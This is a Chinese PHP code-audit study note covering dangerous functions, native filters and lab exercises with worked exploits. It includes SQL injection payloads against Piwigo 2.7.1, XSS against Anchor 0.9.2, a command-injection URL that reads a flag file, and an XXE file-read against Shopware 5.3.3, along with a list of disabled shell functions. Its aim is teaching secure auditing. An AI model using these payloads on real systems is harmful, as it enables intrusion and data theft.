【代码审计】PHP代码审计

PHP代码审计入门指南 https://www.yuque.com/burpheart/phpaudit/
PHP-Audit-Labs https://github.com/hongriSec/PHP-Audit-Labs?tab=readme-ov-file

PHP 用户可控输入

框架/全局变量 获取URL参数(GET) 获取POST参数 获取上传文件 获取Cookie参数 获取服务器参数 获取请求体 获取JSON数据 文件上传方法
PHP原生 $_GET $_POST $_FILES $_COOKIE $_SERVER php://input
ThinkPHP5 Request::instance()->get(); input(‘get.’) Request::instance()->post(); input(‘post.’) Request::instance()->file(); Request::instance()->cookie(); input(‘cookie.’) Request::instance()->server(); input(‘server.’) Request::instance()->request(); input(‘request.’) Request::instance()->get(); input(‘get.’); $request->getJSON();
ThinkPHP3.* I(‘get.’) I(‘post.’)
Codeigniter2/3 $this->input->get() $this->input->post() $this->input->file() $this->input->cookie() $this->input->server() $this->input->post() $this->input->raw_input_stream
Codeigniter4 $request->getGet() $request->getPost() $request->getFiles() $request->getCookie() $request->getServer() $request->getPost(); $request->getJSON(); $request->getJSON() $this->request->getFiles();
CakePHP 4.* $this->request->getQuery(‘’); $this->request->getData(‘’); $this->request->getUploadedFile(‘’); $this->request->getServer(); $this->request->getData(‘’); $this->request->input(‘json_decode’);
Yii 2.0 $request->get(); $request->post(); $request->getBodyParam(‘’); $request->getCookies(); $request->getHeaders(); $request->getBodyParam(‘’);
Laravel $request->query(‘’); $request->input(‘’); $request->file(‘’); $request->cookie(‘’); $request->input(‘’); $request->json(); $request->file(‘’);

PHP 敏感函数

函数/语法 描述 例子
system 执行命令并输出结果 system(‘id’);
exec 执行命令 只可获取最后一行结果 exec(‘id’, $a); print_r($a);
passthru 同 system passthru(‘id’);
shell_exec 执行命令并返回结果 $a=shell_exec(‘id’); print_r($a);
` (反引号) 执行命令并返回结果 $a=id; print_r($a);
popen 执行命令并建立管道 返回一个指针 使用fread等函数操作指针进行读写 $a=popen(“id”, “r”); echo fread($a, 2096);
proc_open 同 popen (进程控制功能更强大) 见PHP手册
pcntl_exec 执行命令 只返回是否发生错误 pcntl_exec(‘id’);

代码注入/文件包含

函数/语法结构 描述 例子
eval 将传入的参数内容作为PHP代码执行,eval不是函数,是一种语法结构,不能当做函数动态调用 eval('phpinfo();');
assert 将传入的参数内容作为PHP代码执行,PHP7以下是函数,PHP7及以上为语法结构 assert('phpinfo();');
preg_replace preg_replace使用/e修饰符且原字符串可控时,有可能执行PHP代码 echo preg_replace("/e","{${PHPINFO()}}","123");
call_user_func 把第一个参数作为回调函数调用,两个参数都完全可控时可利用,传入一个参数调用 call_user_func('assert', 'phpinfo();');
call_user_func_array call_user_func,可传入一个数组带入多个参数调用函数 call_user_func_array('file_put_contents', ['1.txt','6666']);
create_function 根据传递的参数创建匿名函数,并返回唯一名称,利用时第二个参数可控 $f = create_function('','system($_GET[123]);'); $f();
include 包含并运行指定文件,执行出错会抛出错误 include 'vars.php'; (括号可有可无)
require include,执行出错会抛出警告 require('somefile.php'); (括号可有可无)
require_once require,但会检查之前是否已经包含该文件,确保不重复包含
include_once include,但会检查之前是否已经包含该文件,确保不重复包含

SQL/LDAP注入

函数/方法 备注
mysql_query
odbc_exec
mysqli_query
mysql_db_query
mysql_unbuffered_query
mysqli::query 用法示例:$mysqli = new mysqli("localhost", "my_user", "my_password", "world"); $mysqli->query();
pg_query
pg_query_params
pg_send_query
pg_send_query_params
sqlsrv_query
pdo::query 用法示例:$pdo = new PDO("mysql:host=localhost;dbname=phpdemo", "root", "1234"); $pdo->query($sql);
SQLite3::query
SQLite3::exec 用法示例:$db = new SQLite3('mysqlitedb.db'); $db->query('SELECT bar FROM foo'); $db->exec('CREATE TABLE bar (bar STRING)');
$mongo = new mongoclient(); $data = $coll->find($data); 参考:MongoDB注入攻击
$ld = ldap_connect("localhost"); $lb = @ldap_bind($ld, "cn=test,dc=test,dc=com", "test"); 参考:LDAP注入攻击
Db::query ThinkPHP框架
Db::execute ThinkPHP框架

文件读取/SSRF

函数 描述 例子
file_get_contents 读入文件并返回字符串 echo file_get_contents("flag.txt");
echo file_get_contents("https://www.bilibili.com/");
curl_setopt, curl_exec Curl访问URL获取信息 function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url);
fsockopen 打开一个套接字连接(远程TCP/UDP/raw) fsockopen函数说明
readfile 读取文件并写入输出缓冲区 类似于file_get_contents,读取文件流
fopen, fread, fgets, etc. 打开文件或URL并读取文件流 $file = fopen("test.txt","r"); echo fread($file,"1234"); fclose($file);
file 将整个文件读入数组 echo implode('', file('https://www.bilibili.com/'));
highlight_file, show_source 语法高亮显示文件内容 highlight_file("1.php");
parse_ini_file 读取并解析一个ini配置文件 print_r(parse_ini_file('1.ini'));
simplexml_load_file 将文件读取并作为XML文档解析 simplexml_load_file('test.xml');
stream_socket_client 打开一个基于流的套接字连接,用于更灵活的网络通信 $fp = stream_socket_client("tcp://example.com:80", $errno, $errstr, 30);
get_headers 获取HTTP请求头信息 print_r(get_headers("https://www.example.com"));
file_put_contents 将字符串写入文件 file_put_contents("test.txt", "data to write");
copy 拷贝文件到另一个位置 copy("source.txt", "destination.txt");
move_uploaded_file 将上传的文件移动到新位置 move_uploaded_file($_FILES['file']['tmp_name'], "upload_dir/".$_FILES['file']['name']);
parse_url 解析URL并返回其组成部分 $url_components = parse_url("http://www.example.com/path?query=string");
stream_context_create 创建并设置流上下文用于文件或网络连接 $context = stream_context_create(['http' => ['method' => 'GET']]); file_get_contents("https://www.example.com", false, $context);

补充:

  • **stream_socket_client**:比fsockopen更加灵活,用于创建各种类型的网络连接(如TCP、UDP)。
  • **get_headers**:可以获取指定URL的HTTP响应头。
  • **file_put_contents**:可以写入文件,功能类似于fopen+fwrite,但更简便。
  • **copy**:可以直接将文件从一个路径复制到另一个路径。
  • **move_uploaded_file**:处理文件上传时使用,用于将临时文件移动到指定目录。
  • **parse_url**:用于解析URL,返回其组成部分,例如协议、主机名、路径等。
  • **stream_context_create**:用于为文件读取/写入创建和设置流上下文,比如可以设置HTTP请求头。

文件上传/写入

函数/方法 描述 例子
file_put_contents 将一个字符串写入文件 file_put_contents("1.txt", "6666");
move_uploaded_file 将上传的临时文件移动到新的位置 move_uploaded_file($_FILES["pictures"]["tmp_name"], "1.php");
rename 重命名文件/目录 rename($oldname, $newname);
rmdir 删除目录 rmdir("directory_name");
mkdir 创建目录 mkdir("new_directory");
unlink 删除文件 unlink("file.txt");
copy 复制文件 copy("source.txt", "destination.txt");
fopen, fputs, fwrite 打开文件或URL fwrite官方文档
link 创建文件硬链接 link($target, $link);
symlink 创建符号链接(软链接) symlink($target, $link);
tmpfile 创建一个临时文件(在临时目录存放,随机文件名,返回句柄) $temp = tmpfile(); fwrite($temp, "123456"); fclose($temp);
request()->file()->move() ThinkPHP文件上传 $file = request()->file($name); $file->move($filepath);
request()->file()->file() ThinkPHP文件上传 $file = request()->file('upload');
extractTo 解压ZIP到目录 $zip->extractTo('path/to/extract');
DOMDocument loadXML simplexml_import_dom 加载解析XML,可能存在XXE漏洞,通过file_get_contents获取客户端输入并加载XML内容 <?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile); ?>
simplexml_load_string 加载解析XML字符串,可能存在XXE漏洞 $xml = simplexml_load_string($_REQUEST['xml']); print_r($xml);
simplexml_load_file 读取文件并作为XML文档解析,可能存在XXE漏洞 simplexml_load_file('file.xml');
unserialize 反序列化对象 $data = unserialize($_POST['data']);
fgetcsv 读取并解析CSV格式的行 $handle = fopen("data.csv", "r"); while (($data = fgetcsv($handle)) !== FALSE) { print_r($data); } fclose($handle);
file_exists 检查文件或目录是否存在 if (file_exists("file.txt")) { echo "File exists"; }
is_readable 判断文件是否可读 if (is_readable("file.txt")) { echo "File is readable"; }
is_writable 判断文件是否可写 if (is_writable("file.txt")) { echo "File is writable"; }
flock 锁定文件防止并发读写 $fp = fopen("file.txt", "r+"); if (flock($fp, LOCK_EX)) { fwrite($fp, "Lock test"); flock($fp, LOCK_UN); } fclose($fp);
readlink 返回符号链接指向的目标 echo readlink("/path/to/symlink");
realpath 返回文件或目录的绝对路径 echo realpath("test.txt");
chmod 改变文件或目录的权限 chmod("file.txt", 0755);
chown 改变文件的所有者 chown("file.txt", "username");

PHP原生过滤方法

1. 命令注入防护

  • escapeshellarg
    • 描述:将传入的参数添加单引号并转义原有的单引号,主要用于防止命令注入。处理后的字符串可安全地作为命令参数。
    • 例子:传入id后处理为'id'。如果传入'id #,处理后为'\'id #',防止命令注入。
    • 用法escapeshellarg($arg);
  • escapeshellcmd
    • 描述:转义字符串中的特殊符号,用于防止命令注入。反斜线会在以下字符之前插入:&#;|*?~<>^()[]{}$, \x0A 和 \xFF。’ 和 “ 仅在不配对时被转义。
    • 例子escapeshellcmd('ls; rm -rf /')将转义命令中的特殊字符,避免命令注入。
    • 用法escapeshellcmd($cmd);

2. SQL注入防护

  • addslashes
    • 描述:在单引号(’)、双引号(”)、反斜线(\)与 NUL 前加上反斜线,用于防止SQL注入。
    • 例子addslashes("O'Reilly")返回O\'Reilly,可以减少SQL注入风险。
    • 用法addslashes($input);
  • mysqli::real_escape_string / mysqli_real_escape_string
    • 描述:这些函数在 NULL (\x00), 换行符 (\n), 回车符 (\r), 空格字符 (\x1a), 单引号 ('), 双引号 (") 和反斜线 (\) 前加上反斜线,并考虑到当前数据库连接的字符集。用于防止SQL注入。
    • 注意:处理后的字符串需要使用引号包裹后拼接到SQL语句中,否则仍可导致SQL注入。
    • 例子$conn->real_escape_string($input);
  • PDO::quote
    • 描述:将字符串中的特殊字符进行转义,并为字符串添加引号。适用于防止SQL注入。
    • 例子$pdo->quote("O'Reilly"); 返回 'O\'Reilly'
    • 用法$pdo->quote($input);
  • PDO::prepare
    • 描述:预处理SQL语句,确保参数传递时不会破坏SQL语句的结构,是防止SQL注入的最佳实践。
    • 例子$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
    • 用法$stmt->execute([':id' => $id]);

3. XSS防护

  • htmlspecialchars
    • 描述:将特殊字符(如 <, >, &, ', ")转义为HTML实体,防止恶意脚本通过HTML注入XSS攻击。
    • 例子htmlspecialchars('<script>alert("XSS")</script>') 将输出 &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
    • 用法htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  • htmlentities
    • 描述:将所有的适合的字符转义为HTML实体,与htmlspecialchars类似,但更加严格。
    • 例子htmlentities('<b>bold</b>') 返回 &lt;b&gt;bold&lt;/b&gt;
    • 用法htmlentities($input, ENT_QUOTES, 'UTF-8');

4. 数字类型过滤

  • intval / floatval / (int) / num+0
    • 描述:将输入强制转换为整数或浮点数。通常用于确保输入为数字,防止SQL注入或逻辑漏洞。
    • 例子
      • intval('42abc') 返回 42
      • floatval('42.42abc') 返回 42.42
      • (int) '123abc' 返回 123
    • 用法intval($input);(int)$input;

5. 其他防护配置项

  • 配置防止命令注入
    • 禁用危险函数:通过PHP的配置文件php.ini,可以禁用危险函数如system()exec()shell_exec()等。
    • 配置
      1
      disable_functions = "exec, passthru, shell_exec, system, proc_open, popen, curl_exec"
    • 限制文件操作:可以通过open_basedir限制PHP对特定目录的访问,防止通过路径注入或文件包含漏洞来执行恶意文件。
    • 配置
      1
      open_basedir = "/var/www/html:/tmp"

in_array() 缺陷


分析上面的代码流程,是一个文件上传的接口,但是对文件名有白名单,利用了in_array()方法,这个

1
2
3
4
in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。(这里之所以会发生强制类型转换,是因为目标数组中的元素为数字类型)我们来看看PHP手册对 in_array() 函数的定义。

案例分析

下面看一个具体的真实案例:piwigo2.7.1 版本。该版本由于SQL语句直接拼接 $rate 变量,而 $rate 变量也仅是用 in_array() 函数简单处理,并未使用第三个参数进行严格匹配,最终导致sql注入漏洞发生。下面我们来看看具体的漏洞位置。漏洞的入口文件在picture.php文件中,

$_GET['action'] 为 rate 的时候,就会调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,而漏洞便存在这个方法中。我们可以看到下图第23行处直接拼接 $rate 变量,而在第2行使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf['rate_items'] 中, $conf['rate_items'] 的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

由于这里(上图第6行)并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
流程可以简化为此图
可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,代码及防护效果如下:

作业题目

审计下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>

//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

题目可以看出,首先需要绕过in_array之后由于sql语句过滤,需要考虑绕过。前者加个数字就好,后者可以用 updatexml 注入。当 updatexml 中存在特殊字符或字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,也就是说如果我们想要查询的数据是数字开头,例如 7701HongRi ,那么查询结果只会显示 HongRi 。所以我们会看到很多 updatexml 注入的 payload 是长这样的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,在所要查询的数据前面凭借一个特殊符号(这里的 0x7e 为符号 ‘‘ )。使用下面的payload可以获得题解:
`http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,’
‘,(select flag from flag)),1))`

Twig 过滤不充分

题目叫做Twig,代码如下:

漏洞解析
这一关题目实际上用的是PHP的一个模板引擎 Twig ,本题考察XSS(跨站脚本攻击)漏洞。虽然题目代码分别用了 escapefilter_var 两个过滤方法,但是还是可以被攻击者绕过。在上图 第8行 中,程序使用 Twig 模板引擎定义的 escape 过滤器来过滤link,而实际上这里的 escape 过滤器,是用PHP内置函数 htmlspecialchars 来实现的,具体可以点击 这里 了解 escape 过滤器, htmlspecialchars 函数定义如下:

htmlspecialchars :(PHP 4, PHP 5, PHP 7)

功能 :将特殊字符转换为 HTML 实体

定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get(“default_charset”) [, bool $double_encode = TRUE ]]] )

1
2
3
4
5
& (& 符号)  ===============  &amp;
" (双引号) =============== &quot;
' (单引号) =============== &apos;
< (小于号) =============== &lt;
> (大于号) =============== &gt;

第二处过滤在 第17行 ,这里用了 filter_var 函数来过滤 nextSlide 变量,且用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url,具体的 filter_var 定义如下:
filter_var : (PHP 5 >= 5.2.0, PHP 7)

功能 :使用特定的过滤器过滤一个变量

定义mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
函数原型

1
>mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
  • $variable: 要过滤的变量。
  • $filter: 用于过滤的过滤器 ID。如果不提供,默认为 FILTER_DEFAULT
  • $options: 一个关联数组或单一的标志,指定额外的过滤器选项和标志。
    常用的过滤器选项
    PHP 提供了多种过滤器,可以分为两类:验证过滤器和清理过滤器。验证过滤器用于验证数据格式,如果数据无效,则返回 false;清理过滤器用于清理数据,如去除非法字符等。
    验证过滤器
  • FILTER_VALIDATE_BOOLEAN: 验证布尔值。
  • FILTER_VALIDATE_EMAIL: 验证电子邮件地址。
  • FILTER_VALIDATE_FLOAT: 验证浮点数。
  • FILTER_VALIDATE_INT: 验证整数。
  • FILTER_VALIDATE_IP: 验证 IP 地址。
  • FILTER_VALIDATE_URL: 验证 URL。

清理过滤器

  • FILTER_SANITIZE_EMAIL: 清理电子邮件地址(去除所有除字母、数字以及!#$%&'*+-/=?^_{|}~@.[]`之外的字符)。
  • FILTER_SANITIZE_NUMBER_INT: 清理整数(去除所有除数字、加号、减号之外的字符)。
  • FILTER_SANITIZE_SPECIAL_CHARS: 将特殊字符转换为 HTML 实体。
  • FILTER_SANITIZE_STRING: 去除标签并去除或编码特殊字符。

验证电子邮件

1
2
3
4
5
6
>$email = "user@example.com";
>if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo "This ({$email}) is a valid email address.";
>} else {
echo "This ({$email}) is not a valid email address.";
>}

清理字符串

1
2
3
>$string = "<h1>Hello, World!</h1>";
>$sanitized_string = filter_var($string, FILTER_SANITIZE_STRING);
>echo $sanitized_string; // 输出: Hello, World!

使用选项和标志
filter_var() 还可以使用第三个参数 $options 来提供额外的指令,比如在验证整数时设置最小和最大值:

1
2
3
4
5
6
7
8
9
10
11
12
>$options = array(
"options" => array(
"min_range" => 1,
"max_range" => 100
)
>);
>$number = 50;
>if (filter_var($number, FILTER_VALIDATE_INT, $options)) {
echo "The number is within the accepted range.";
>} else {
echo "The number is not within the accepted range.";
>}

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过。为了让大家更好理解,请看下面的demo代码:

我们使用 payload?nextSlide=javascript://comment%250aalert(1) ,可以执行 alert 函数:

实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。

实例分析

本次实例分析,我们选取的是 Anchor 0.9.2 版本,在该版本中,当用户访问一个不存在的URL链接时,程序会调用404模板,而这个模板则存在XSS漏洞,具体代码如下:

该代码在 themes\default\404.php 中,看第4行 code 标签中的 current_url 函数,我们可在 anchor\functions\helpers.php 文件中,看到 current_url 函数是由 Uri 类的 current 方法实现的,具体代码如下:

1
2
3
function current_url() {
return Uri::current();
}

我们跟进到 Uri 类,在 system\uri.php 文件中,我们发现这里调用了 static::detect 方法( statci:: 是在PHP5.3版本之后引入的延迟静态绑定写法)。

current 方法下面,我们就可以找到 detect 方法,该方法会获取 $_SERVER 数组中的 ‘REQUEST_URI’ 、’PATH_INFO’, 、’ORIG_PATH_INFO’ 三个键的值(下图第3-4行代码),如果存在其中的某一个键,并且符合 filter_var($uri, FILTER_SANITIZE_URL)parse_url($uri, PHP_URL_PATH) ,则直接将 $uri 传入 static::format 方法,下图第10-14行代码,具体代码如下:

我们跟进 static::format 方法,可以发现程序过滤了三次(下图第3-7行),但是都没有针对XSS攻击进行过滤,只是为了获取用户访问的文件名,具体代码如下:

由于没有针对XSS攻击进行过滤,导致攻击十分容易,我们来看看XSS攻击具体是如何进行的。
漏洞利用
我们构造payload如下: http://localhost/anchor/index.php/<script>alert('www.sec-redclub.com')</script> 。根据上面的分析,当我们访问这个并不存在的链接时,程序会调用404模板页面,然后调用 current_url 函数来获取当前用户访问的文件名,也就是最后一个 / 符号后面的内容,所以最终payload里的 <script>alert('www.sec-redclub.com')</script> 部分会嵌入到 <code> 标签中,造成XSS攻击
修复建议
这对XSS漏洞,我们最好就是过滤关键词,将特殊字符进行HTML实体编码替换,这里给出的修复代码为Dedecms中防御XSS的方法,可以在 uploads/include/helpers/filter.helper.php 路径下找到对应代码,具体防护代码如下:

作业题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

可以看出来只需要绕过两个部分,第一个是 filter_var 的过滤,第二个是 preg_match 对 url 的判断,是否是以sec-redclub.com结尾。对于filter_var可以用下面的方式绕过

1
2
3
4
5
6
7
8
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

接着要绕过 parse_url 函数,并且满足 $site_info['host'] 的值以 sec-redclub.com 结尾,payload如下:
http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:
http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/
所以我们可以换成 cat<f1agi3hEre.php命令,即可成功获取flag。

Snow Flake


漏洞解析
这段代码中存在两个安全漏洞。第一个是文件包含漏洞,上图第8行中使用了 class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容,我们来看一下PHP手册对 class_exists() 函数的定义:

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

我们再来说说第二个漏洞。在上图第9行中,我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement 来进行 XXE 攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect),我们来看一下PHP手册对 SimpleXMLElement 类的定义:

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类。

关于 SimpleXMLElement 导致的XXE攻击,下面再给出一个demo案例,方便大家理解:

实例分析

本次实例分析,我们选取的是 Shopware 5.3.3 版本,对 SimpleXMLElement 类导致的 XXE漏洞 进行分析,而 class_exists() 函数,我们将会在本次给出的CTF题目中深入讨论。我们来看一下本次漏洞的文件,在 engine\Shopware\Controllers\Backend\ProductStream.php 文件中有一个 loadPreviewAction 方法,其作用是用来预览产品流的详细信息,具体代码如下:

该方法接收从用户传来的参数 sort ,然后传入 Repository 类的 unserialize 方法(如上图第11-14行代码),我们跟进 Repository 类,查看 unserialize 方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php 文件中找到,代码如下:

可以看到 Repository 类的 unserialize 方法,调用的是 LogawareReflectionHelper 类的 unserialize 方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php 文件中找到,具体代码如下:

这里的 $serialized 就是我们刚刚传入的 sort (上图第3行),程序分别从 sort 中提取出值赋给 $className$arguments 变量,然后这两个变量被传入 ReflectionHelper 类的 createInstanceFromNamedArguments 方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php 文件,具体代码如下:

这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort 变量来的,可被用户控制利用。继续往下看,在代码第28行处用 $newParams 作为参数,创建一个新的实例对象。而这里的 $newParams 是从 $arguments[$paramName] 中取值的, $arguments 又是我们可以控制的,因为也是从 $sort 变量来,所以我们可以通过这里来实例化一个 SimpleXMLElement 类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。

漏洞利用
首先,我们需要登录后台,找到调用 loadPreviewAction 接口的位置,发现其调用位置如下:

当我们点击 Refresh preview 按钮时,就会调用 loadPreviewAction 方法,用BurpSuite抓到包如下:

1
2
3
4
5
6
7
8
9
10
11
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close

我们可以看到 sort 值为 {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}} ,于是我们按照其格式构造payload: {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}} ,关于payload的含义,可以看看 SimpleXMLElement 类的 __construct 函数定义,具体点 这里

1
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

笔者所用的xxe.xml内容如下:

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>

我们发送payload,并用xdebug调试程序,最后程序将我们读取的值存储在 $conditions 变量中,如下图所示:

关于PHP中XXE漏洞的修复,我们可以过滤关键词,如: ENTITYSYSTEM 等,另外,我们还可以通过禁止加载XML实体对象的方式,来防止XXE漏洞(如下图第2行代码),具体代码如下:

我感觉上面实例的利用关键点在于,类的初始化和参数的传递都是我们可控的。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
  1. 定义一个 NotFound
    1
    2
    3
    4
    5
    6
    class NotFound{
    function __construct()
    {
    die('404');
    }
    }
  • 这个 NotFound 类有一个构造函数,该函数调用了 die('404');。这意味着当这个类被实例化时,脚本会立即终止并输出 404。这通常用于表示未找到(如页面或资源)。
  1. 注册一个自动加载函数
    1
    2
    3
    4
    5
    spl_autoload_register(
    function ($class){
    new NotFound();
    }
    );
  • spl_autoload_register 函数用于注册任意数量的自动加载器,这些加载器在PHP执行过程中试图使用未定义的类或接口时被调用。
